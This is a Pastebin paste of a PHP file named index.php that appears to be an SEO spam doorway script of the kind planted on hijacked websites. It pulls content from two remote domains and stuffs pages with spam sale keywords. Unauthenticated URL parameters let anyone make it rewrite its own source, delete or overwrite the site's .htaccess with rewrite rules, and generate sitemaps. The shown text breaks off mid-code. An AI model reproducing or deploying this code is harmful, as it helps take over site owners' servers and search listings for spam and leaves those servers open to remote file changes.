PalmaSolutions

index.php

Apr 7th, 2018
484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.90 KB | None | 0 0
  1. <?php
  2. @ini_set('display_errors', 0);
  3. @set_time_limit(3600);
  4. define("DOMTXT","http://www.documentcenter.site/1701/");
  5. define("GETDOM","http://www.parastation-b.club/1701/");
  6. define("FNUM",50);
  7. define("JGNUM","638");
  8. define("LINKNUM","22");
  9. define("BZSITE","a");
  10. define("BZPRO","j");
  11. //msbg
  12. define("JDT","0");
  13. //msend
  14. //jthouzuibg
  15. define("JTHZ",".pdf");
  16. //jthouzuiend
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23. //keyjgbg
  24. define("KEYJG","12");
  25. //keyjgbgend
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37. // #llqllq#arr_nametimebg
  38.  
  39. $arrnametime[]="1";
  40. $arrnametime[]="4";
  41. $arrnametime[]="3";
  42. $arrnametime[]="2";
  43.  
  44.  
  45. // #llqllq#arr_nametimeend
  46. // #llqllq#arr_wordbg
  47.  
  48. $arr_word[0][] ="5";$arr_word[0][] ="4";$arr_word[0][] ="8";$arr_word[0][] ="6";$arr_word[0][] ="8";$arr_word[0][] ="7";$arr_word[0][] ="5";$arr_word[0][] ="4";$arr_word[0][] ="6";$arr_word[0][] ="7";$arr_word[1][] ="7";$arr_word[1][] ="6";$arr_word[1][] ="8";$arr_word[1][] ="5";$arr_word[1][] ="4";$arr_word[1][] ="8";$arr_word[1][] ="5";$arr_word[1][] ="6";$arr_word[1][] ="4";$arr_word[1][] ="7";$arr_word[2][] ="5";$arr_word[2][] ="8";$arr_word[2][] ="7";$arr_word[2][] ="8";$arr_word[2][] ="5";$arr_word[2][] ="4";$arr_word[2][] ="4";$arr_word[2][] ="6";$arr_word[2][] ="6";$arr_word[2][] ="7";$arr_word[3][] ="6";$arr_word[3][] ="7";$arr_word[3][] ="5";$arr_word[3][] ="5";$arr_word[3][] ="7";$arr_word[3][] ="6";$arr_word[3][] ="8";$arr_word[3][] ="8";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[4][] ="7";$arr_word[4][] ="5";$arr_word[4][] ="6";$arr_word[4][] ="5";$arr_word[4][] ="4";$arr_word[4][] ="8";$arr_word[4][] ="4";$arr_word[4][] ="6";$arr_word[4][] ="7";$arr_word[4][] ="8";$arr_word[5][] ="7";$arr_word[5][] ="5";$arr_word[5][] ="8";$arr_word[5][] ="8";$arr_word[5][] ="6";$arr_word[5][] ="7";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="6";$arr_word[5][] ="5";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="7";$arr_word[6][] ="8";$arr_word[6][] ="6";$arr_word[6][] ="6";$arr_word[6][] ="5";$arr_word[6][] ="7";$arr_word[6][] ="5";$arr_word[6][] ="8";$arr_word[7][] ="8";$arr_word[7][] ="6";$arr_word[7][] ="5";$arr_word[7][] ="5";$arr_word[7][] ="4";$arr_word[7][] ="7";$arr_word[7][] ="8";$arr_word[7][] ="6";$arr_word[7][] ="7";$arr_word[7][] ="4";$arr_word[8][] ="7";$arr_word[8][] ="7";$arr_word[8][] ="8";$arr_word[8][] ="6";$arr_word[8][] ="5";$arr_word[8][] ="8";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="6";$arr_word[8][] ="5";$arr_word[9][] ="7";$arr_word[9][] ="4";$arr_word[9][] ="7";$arr_word[9][] ="6";$arr_word[9][] ="4";$arr_word[9][] ="6";$arr_word[9][] ="8";$arr_word[9][] ="5";$arr_word[9][] ="5";$arr_word[9][] ="8";$arr_word[10][] ="6";$arr_word[10][] ="4";$arr_word[10][] ="7";$arr_word[10][] ="7";$arr_word[10][] ="5";$arr_word[10][] ="6";$arr_word[10][] ="8";$arr_word[10][] ="4";$arr_word[10][] ="5";$arr_word[10][] ="8";$arr_word[11][] ="5";$arr_word[11][] ="7";$arr_word[11][] ="4";$arr_word[11][] ="6";$arr_word[11][] ="7";$arr_word[11][] ="5";$arr_word[11][] ="8";$arr_word[11][] ="8";$arr_word[11][] ="6";$arr_word[11][] ="4";
  49.  
  50. // #llqllq#arr_wordend
  51. // #llqllq#arr_keywz
  52.  
  53. $arrKeywz[]="7";
  54. $arrKeywz[]="4";
  55. $arrKeywz[]="10";
  56. $arrKeywz[]="8";
  57. $arrKeywz[]="11";
  58. $arrKeywz[]="5";
  59. $arrKeywz[]="12";
  60. $arrKeywz[]="9";
  61. $arrKeywz[]="6";
  62.  
  63.  
  64. // #llqllq#arr_keywzend
  65.  
  66. // #llqllq#arr_fuhao
  67.  
  68. $arrfh[]="?";
  69. $arrfh[]="……";
  70. $arrfh[]="-";
  71. $arrfh[]=",";
  72. $arrfh[]=".";
  73. $arrfh[]="!";
  74.  
  75.  
  76. // #llqllq#arr_fuhaoend
  77.  
  78. // #llqllq#arr_keybg
  79.  
  80. $arr_key[]=" 50%OFF ";
  81. $arr_key[]=" new ";
  82. $arr_key[]=" 80%OFF ";
  83. $arr_key[]=" durable modeling ";
  84. $arr_key[]=" cheap ";
  85. $arr_key[]=" 70%OFF ";
  86. $arr_key[]=" chic ";
  87. $arr_key[]=" well-wreapped ";
  88. $arr_key[]=" hot sale 2017 ";
  89. $arr_key[]=" on sale ";
  90. $arr_key[]=" high-quality ";
  91. $arr_key[]=" 30%OFF ";
  92. $arr_key[]=" on sale ";
  93. $arr_key[]=" well-wreapped ";
  94. $arr_key[]=" lovely ";
  95. $arr_key[]=" 50%OFF ";
  96. $arr_key[]=" new ";
  97. $arr_key[]=" 60%OFF ";
  98. $arr_key[]=" hot sale ";
  99. $arr_key[]=" 70%OFF ";
  100. $arr_key[]=" hot sale ";
  101. $arr_key[]=" chic ";
  102. $arr_key[]=" on sale ";
  103. $arr_key[]=" durable modeling ";
  104. $arr_key[]=" outlet ";
  105. $arr_key[]=" 85%OFF ";
  106. $arr_key[]=" free shipping ";
  107. $arr_key[]=" 60%OFF ";
  108. $arr_key[]=" lovely ";
  109. $arr_key[]=" durable service ";
  110. $arr_key[]=" delicate ";
  111. $arr_key[]=" 85%OFF ";
  112. $arr_key[]=" 60%OFF ";
  113. $arr_key[]=" durable service ";
  114. $arr_key[]=" 80%OFF ";
  115. $arr_key[]=" best ";
  116. $arr_key[]=" 85%OFF ";
  117. $arr_key[]=" new ";
  118. $arr_key[]=" hot sale 2017 ";
  119. $arr_key[]=" cheap ";
  120. $arr_key[]=" well-wreapped ";
  121. $arr_key[]=" on sale ";
  122. $arr_key[]=" 50%OFF ";
  123. $arr_key[]=" 80%OFF ";
  124. $arr_key[]=" 85%OFF ";
  125. $arr_key[]=" 30%OFF ";
  126. $arr_key[]=" 80%OFF ";
  127. $arr_key[]=" outlet ";
  128. $arr_key[]=" hot sale 2017 ";
  129. $arr_key[]=" 30%OFF ";
  130. $arr_key[]=" well-wreapped ";
  131. $arr_key[]=" hot sale ";
  132. $arr_key[]=" outlet ";
  133. $arr_key[]=" hot sale 2017 ";
  134. $arr_key[]=" best ";
  135. $arr_key[]=" well-wreapped ";
  136. $arr_key[]=" outlet ";
  137. $arr_key[]=" delicate ";
  138. $arr_key[]=" 80%OFF ";
  139. $arr_key[]=" new ";
  140. $arr_key[]=" chic ";
  141. $arr_key[]=" free shipping ";
  142. $arr_key[]=" 70%OFF ";
  143. $arr_key[]=" good ";
  144. $arr_key[]=" low-cost ";
  145. $arr_key[]=" delicate ";
  146. $arr_key[]=" hot sale ";
  147. $arr_key[]=" on sale ";
  148. $arr_key[]=" 50%OFF ";
  149. $arr_key[]=" low-cost ";
  150. $arr_key[]=" low-cost ";
  151. $arr_key[]=" durable service ";
  152. $arr_key[]=" best ";
  153. $arr_key[]=" chic ";
  154. $arr_key[]=" cheap ";
  155. $arr_key[]=" high-quality ";
  156. $arr_key[]=" 70%OFF ";
  157. $arr_key[]=" outlet ";
  158. $arr_key[]=" lovely ";
  159. $arr_key[]=" 60%OFF ";
  160. $arr_key[]=" durable service ";
  161. $arr_key[]=" low-cost ";
  162. $arr_key[]=" high-quality ";
  163. $arr_key[]=" best ";
  164. $arr_key[]=" good ";
  165. $arr_key[]=" durable service ";
  166. $arr_key[]=" durable modeling ";
  167. $arr_key[]=" lovely ";
  168. $arr_key[]=" chic ";
  169. $arr_key[]=" cheap ";
  170. $arr_key[]=" lovely ";
  171. $arr_key[]=" hot sale ";
  172. $arr_key[]=" delicate ";
  173. $arr_key[]=" 85%OFF ";
  174. $arr_key[]=" low-cost ";
  175. $arr_key[]=" 50%OFF ";
  176. $arr_key[]=" durable modeling ";
  177. $arr_key[]=" hot sale 2017 ";
  178. $arr_key[]=" good ";
  179. $arr_key[]=" free shipping ";
  180. $arr_key[]=" durable modeling ";
  181. $arr_key[]=" 60%OFF ";
  182. $arr_key[]=" 70%OFF ";
  183. $arr_key[]=" good ";
  184. $arr_key[]=" good ";
  185. $arr_key[]=" delicate ";
  186. $arr_key[]=" 30%OFF ";
  187. $arr_key[]=" high-quality ";
  188. $arr_key[]=" high-quality ";
  189. $arr_key[]=" best ";
  190. $arr_key[]=" free shipping ";
  191. $arr_key[]=" cheap ";
  192. $arr_key[]=" free shipping ";
  193. $arr_key[]=" new ";
  194. $arr_key[]=" 30%OFF ";
  195.  
  196.  
  197. // #llqllq#arr_keyend
  198. // #llqllq#randkeybg
  199. $strRand[0]="gkpxdrqjmslycozuifwbethnav";
  200. $strRand[1]="qlrejpvcswtbkiaynzuxdfmhgo";
  201. $strRand[2]="hawscrugkpvnbdfoymjtleqxiz";
  202. $strRand[3]="wcuasgiydxzefhnqkbpvjltmro";
  203. $strRand[4]="qtxmdnasvlbpfrukygzjeiwcho";
  204. $strRand[5]="bwcjhizdvoaeqxkslympgurtfn";
  205. $strRand[6]="kzwvheycqatrnpsulfxdoijbgm";
  206. $strRand[7]="nexlitmsvqhkpjgbfoadzuyrcw";
  207. $strRand[8]="yrkvmbwnfqzdutahsxocjgeilp";
  208. $strRand[9]="egomfwlxdikjvpnbchtzaurqys";
  209. $strRand[10]="qkdpytrofcwsmvgizxelaubnhj";
  210. $strRand[11]="vwmgizptejuynrxadqsfclbokh";
  211. $strRand[12]="watuxjzpnsiyqcboreldkmfhgv";
  212. $strRand[13]="ibanjhdezrwfouxlmkgvtpqcsy";
  213. $strRand[14]="qoesflxthpgckuardbjmyvzniw";
  214. $strRand[15]="bkdyzxpvqaowjicfnltgshermu";
  215. $strRand[16]="jtkyosmexnrigfvhdpzbcuwlqa";
  216. $strRand[17]="usgvafrewqzbnlpxjhkiydotcm";
  217. $strRand[18]="pszqavmwfknuytgrjdoxihbcel";
  218. $strRand[19]="ksdcthxoyinrupbjaeflzqvmwg";
  219. $strRand[20]="ocsuqfzrlmhvytpdibkxngwaej";
  220. $strRand[21]="fazhtcxembivrpglkwdsjuyqon";
  221. $strRand[22]="dhryzvtlpncmseguxobjkiawqf";
  222. $strRand[23]="osiehnlwpzrgamdvfyubcjktqx";
  223. $strRand[24]="mbnuzfwpdkjxghaoylitsecqrv";
  224. $strRand[25]="zqujtsrodlkbmecayvhnfwxpig";
  225. $strRand[26]="xatmrcvnfkojbhdplsyizuewgq";
  226. $strRand[27]="qornfdjukabhyiptvmxeczglws";
  227. $strRand[28]="qibumnfrolepgcvjzkaxthdwsy";
  228. $strRand[29]="jsmdvwphtkofcxqlbniyzgerua";
  229. $strRand[30]="ztwmvahuiosenxkpjgbfclyqrd";
  230. $strRand[31]="fczjytplowiuxsekdbmhnrvaqg";
  231. $strRand[32]="deuptjqvwhgzksarmlioyxbfnc";
  232. $strRand[33]="jtgdixescumzlowrpyvbfkhnqa";
  233. $strRand[34]="wldeyxmskrqizntcfhagupojbv";
  234. $strRand[35]="ckgamnbsfdqotxrihjwzeyvulp";
  235. $strRand[36]="zakdmfgvhbutenorlpyjixcswq";
  236. $strRand[37]="ahyvesrnlbtpxkmjquogwzidfc";
  237. $strRand[38]="neyvocrzuipjmwqtsfxlgbkahd";
  238. $strRand[39]="vplfqgonbtkshedwmizyaucjrx";
  239. $strRand[40]="debouryvtwkqschjzgpamifxln";
  240. $strRand[41]="wyxhgqiksrvmefdjauocpntzbl";
  241. $strRand[42]="uxmlfnoaktqzidrgpbhewyjvcs";
  242. $strRand[43]="tpcxzgoamniksljuwbheqfvryd";
  243. $strRand[44]="jesyiugdphrbaqwnxlofvkcmzt";
  244. $strRand[45]="seajcwyrqtzuivlfnbpxkgmodh";
  245. $strRand[46]="ypsxtfjwliugebnkqdmvzarcoh";
  246. $strRand[47]="yupgzwinsvaelbjdtqomkfhcxr";
  247. $strRand[48]="obuildkhtcqeapjvgmnzfwsxyr";
  248. $strRand[49]="vaydumiowkrtzngehfcslqbjxp";
  249. $strRand[50]="gtqsndlkbamxivyehjrcozpfuw";
  250. $strRand[51]="jzuvpcmbhfendaryitloksgwqx";
  251. $strRand[52]="gonzclhedpxiktuvaqjywsbmrf";
  252. $strRand[53]="pgwyjeqtuzfmvxiordnsckhbal";
  253. $strRand[54]="lvmgkbciyaqtounhrdwxpzfesj";
  254. $strRand[55]="risnqevfxgzkhtbawjpumyoldc";
  255. $strRand[56]="msvuxahfcrloydpwqgjbzekitn";
  256. $strRand[57]="wxiyadvfstqhgkpbmjeoczlunr";
  257. $strRand[58]="hnxvmefaqkuwyzlgjibpctsord";
  258. $strRand[59]="smhrfnyvxtwzicbdlkqugeajpo";
  259. $strRand[60]="mgindlturebazjfoswhcpxkvqy";
  260. $strRand[61]="tcwxumkfgdybqnljvhroisaezp";
  261. $strRand[62]="fzqdlkirnwxamopetguycjvsbh";
  262. $strRand[63]="gywrpbkjudovlfxznaistcqemh";
  263. $strRand[64]="lnxztbywkdrmsvphqeoiagcufj";
  264. $strRand[65]="irghqtlscxuvdynakozfepjbmw";
  265. $strRand[66]="gyfjcvaznubphdkrtxmileowsq";
  266. $strRand[67]="tmsirgyqcknfpeuzxwohjvbald";
  267. $strRand[68]="kjpxifeygorbuvcmwqzhstanld";
  268. $strRand[69]="pmtsoyvnucgwkfjhdqxzliabre";
  269. $strRand[70]="wulkicdrjqbxyhasogpvtfeznm";
  270. $strRand[71]="qwylmnjbzcirgtvkhsxeudafpo";
  271. $strRand[72]="fvuicpyjlxzhetsomdwgrbqakn";
  272. $strRand[73]="gsqtafnekypuowmrzidhcjlvxb";
  273. $strRand[74]="qigbovsrluzxmwepdjnhactykf";
  274. $strRand[75]="bhlivdmasjngyuecxfqztpkorw";
  275. $strRand[76]="vdsizmqokcpnjtlraebhuwyfgx";
  276. $strRand[77]="yabpcsqljdghxfkmwentzivuor";
  277. $strRand[78]="vjbzigyndlewkrcxtaopsqfuhm";
  278. $strRand[79]="peyuqlwaihokjsvncrbgfxtmdz";
  279. $strRand[80]="bsqeltgirfumdvwkzjphonacxy";
  280. $strRand[81]="eycosrkzhxtnflimwbpagqujvd";
  281. $strRand[82]="vyzswtcejqaulifprhgbmkxdno";
  282. $strRand[83]="nrzjvewihgpmqdcftluxaobkys";
  283. $strRand[84]="myrczsnxbjitevdulwkapqhogf";
  284. $strRand[85]="anifdlhsvcwykmtujzpoxqegrb";
  285. $strRand[86]="zfkrsvqcuoybhjgnmeidtaxpwl";
  286. $strRand[87]="gkihmxsrlevtzydjwpnbcuofaq";
  287. $strRand[88]="kvexarsgmyunoflipcdwqbztjh";
  288. $strRand[89]="rydzixutmoqablefskwhngpvjc";
  289. $strRand[90]="mkuhjtfesarcdpbvlnwyxgoizq";
  290. $strRand[91]="pczrmnievbosgltjyufwxhdakq";
  291. $strRand[92]="sdipwxtvezumgcyornhlfqjakb";
  292. $strRand[93]="drvysicbjawefpotzuhnkqgxml";
  293. $strRand[94]="muiayegjhqfzdxsnkpvrwolctb";
  294. $strRand[95]="rkmlyecgtsvnofuxpzawjdibqh";
  295. $strRand[96]="jrtxwsianpmocduylvfkehzbgq";
  296. $strRand[97]="mfkuacdyrvotwjhpgizbnesxql";
  297. $strRand[98]="antryqogmhpisbfuklczwjdvxe";
  298. $strRand[99]="rgjocsditlkxyzeabfwvmpuhnq";
  299.  
  300. // #llqllq#randkeyend
  301. if(isset($_GET['rset']) && $_GET['rset'] == 'set'){
  302.  
  303. $r1 = '#(// \#l{2}ql{2}q\#arr_keybg)(.*?)(// \#l{2}ql{2}q\#arr_keyend)#s'; $str = file_get_contents("index.php");
  304. shuffle($arr_key); $rp1 = ''; foreach($arr_key as $vals){
  305. $rp1 .= '$arr_key[]="'. $vals .'";'. PHP_EOL; }
  306.  
  307. $str = preg_replace($r1, '\1'. PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);
  308. $r0 = '#(/+keyjgbg)(.*?)(/+keyjgbgend)#s'; $str = preg_replace($r0, '\1'. PHP_EOL .'define("KEYJG","'. rand(1,20) .'");'. PHP_EOL .'\3'. PHP_EOL , $str);
  309. $r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';
  310. shuffle($arrKeywz); $rp2 = ''; foreach($arrKeywz as $valpimg){
  311. $rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL; }
  312.  
  313. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  314.  
  315. $r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s'; $strword = '';
  316. $arrWordOld = array(4,5,6,7,8,4,5,6,7,8); $rp2 = '';
  317. for($i=0;$i<12;$i++){
  318. shuffle($arrWordOld);
  319. foreach($arrWordOld as $vtemps)
  320. $rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";'; }
  321.  
  322. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  323. $r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';
  324. shuffle($arrnametime); $rp2 = ''; foreach($arrnametime as $valpimg){
  325. $rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL; }
  326.  
  327. $str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL . $rp2 . PHP_EOL . PHP_EOL .'\3', $str);
  328.  
  329. $r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';
  330. $arrABC = range('a','z');
  331. $strTemp1 = ''; for($i=0;$i<100;$i++){
  332. shuffle($arrABC);
  333. $strtemp = ''; foreach($arrABC as $value){
  334. $strtemp .= $value; }
  335.  
  336. $strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL; }
  337. $str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1 . PHP_EOL .'\3', $str);
  338.  
  339. file_put_contents("index.php", $str);
  340.  
  341. $num = rand(1,FNUM); $num = $num - 1; require_once("id$num.php"); $indexId=array_rand($arrId,1); $str = str_replace('$id = "20170113-10932"; //llq index id', '$id = "'. $arrId[$indexId] .'"; //llq index id', $str);
  342. $r3='#(// \#l{2}ql{2}q\#arr_fuhao)(.*?)(// \#l{2}ql{2}q\#arr_fuhaoend)#s'; shuffle($arrfh);$rp2='';foreach($arrfh as $valpimg){$rp2.='$arrfh[]="'.$valpimg.'";'.PHP_EOL;}$str=preg_replace($r3,'\1'.PHP_EOL.PHP_EOL.$rp2.PHP_EOL.PHP_EOL.'\3',$str); file_put_contents(__FILE__, $str);
  343. echo '<br/>rset ok!<br/>';
  344. }
  345. if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
  346. $strDefault = file_get_contents(__FILE__);
  347. $strDefault = str_replace('define("JGNUM","638");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";}
  348. if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
  349. $strDefault = file_get_contents(__FILE__);
  350. $strDefault = str_replace('define("LINKNUM","22");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
  351. if(isset($_GET["moshi"])){
  352.  
  353. if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
  354. echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>"; die(); }
  355. if($_GET["moshi"] == 2 || $_GET["moshi"] == 3){
  356. @unlink(".htaccess"); }
  357.  
  358. $strDefault = file_get_contents(__FILE__);
  359.  
  360. $r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
  361. $rp2 = 'define("JDT","'.$_GET["moshi"].'");'; $strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);
  362.  
  363. $strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
  364. if(isset($_GET['hzui']) && $_GET['hzui']){
  365. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  366. $PreDir = ''; if(JDT == 1){
  367. $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{
  368. $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; }
  369. $strhtt = ''; if (file_exists("$PreDir.htaccess")){
  370. @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); }
  371.  
  372. if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
  373. {
  374. $strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>'; }else{
  375. $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); }
  376.  
  377. $hzReplace = trim($_GET['hzui']);
  378. if(1){
  379.  
  380. $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i';
  381. $rsut = '\1'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL;
  382. $rsut2 = PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ;
  383. if(preg_match($r1,$strhtt)){
  384. $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{
  385. $strhtt = preg_replace($r2,$rsut2,$strhtt,1); }
  386.  
  387. $indexContent = file_get_contents("index.php"); $r3 = '#(/+jthouzuibg)(.*?)(/+jthouzuiend)#s'; $indexContent = preg_replace($r3, '\1'. PHP_EOL .'define("JTHZ",".'. $hzReplace .'");'. PHP_EOL .'\3'. PHP_EOL , $indexContent); file_put_contents("index.php", $indexContent);
  388. if(JDT == 1 or JDT == 0){
  389. file_put_contents("$PreDir.htaccess", $strhtt); }
  390. }
  391.  
  392. echo "<br/>hzui ($hzReplace) modify ok!<br/>";
  393. }
  394. if(isset($_GET["modifydate"]) && $_GET["modifydate"]){
  395. $strDefault = file_get_contents(__FILE__);
  396. $strDefault = str_replace('define("PRENAME","20160409");', 'define("PRENAME","'.$_GET["modifydate"].'");', $strDefault); file_put_contents(__FILE__,$strDefault); echo "<br/>modifydate (".$_GET["modifydate"].") ok!<br/>";}
  397. $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
  398. $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
  399. $Arrrarr = array_flip($arrArrr);
  400. if(isset($_GET["gsitemap"])){
  401.  
  402. $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
  403. if (! is_dir("sitemap"))
  404. mkdir("../sitemap", 0755);
  405. global $gnumber;
  406. $gnumber = 1;
  407. $bgNum = (int)trim($_GET["gsitemap"]);
  408. if($bgNum > FNUM)
  409. die("The Number Must Lower Then " . FNUM);
  410.  
  411. $arrNumTemp = getMapNum($bgNum);
  412.  
  413.  
  414. foreach($arrNumTemp as $vss){
  415.  
  416. $vals = "id$vss.php"; include("$vals");
  417. echo $vals."<br/>";
  418.  
  419. if($gnumber == 1){
  420. if(JDT == 1){
  421. gsitemap($arrId,2,1); }else{
  422. gsitemap($arrId,1,2); }
  423. }else{
  424.  
  425. if(JDT == 1){
  426. gsitemap2($arrId,2,1); }else{
  427. gsitemap2($arrId,1,2); }
  428.  
  429. }
  430.  
  431. unset($arrId,$tempArr1,$tempArr2); }
  432.  
  433. }
  434. if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"])){
  435. die();}
  436. if(JDT==2){
  437.  
  438. $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
  439. $tempSid = ''; $tempPid = '';
  440.  
  441. $r0 ='#^'. BZSITE .'(\d+)[-/]#i';
  442. $r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
  443. if(preg_match($r0,$UrlParent,$matches)){
  444. if(isset($matches[1]))
  445. $tempSid = $matches[1]; }else{
  446. preg_match($r1,$UrlParent,$matches10); if(isset($matches10[1]))
  447. $tempSid = $matches10[1]; }
  448.  
  449.  
  450. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  451. if(preg_match($r2,$UrlParent,$matches2)){
  452. if(isset($matches2[1]))
  453. $tempPid = $matches2[1]; }else{
  454.  
  455. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  456. $tempPid = $matches13[1]; }
  457.  
  458.  
  459. if($tempSid && $tempPid){
  460. $_GET['id']= $tempSid .'-'. $tempPid; }
  461.  
  462. }
  463.  
  464. }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
  465.  
  466. $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
  467. $r0 ='#^'. BZSITE .'(\d+)[-/]#i';
  468. $r1='#[-/]'. BZSITE .'(\d+)[-/]#i';
  469. if(preg_match($r0,$UrlParent,$matches)){
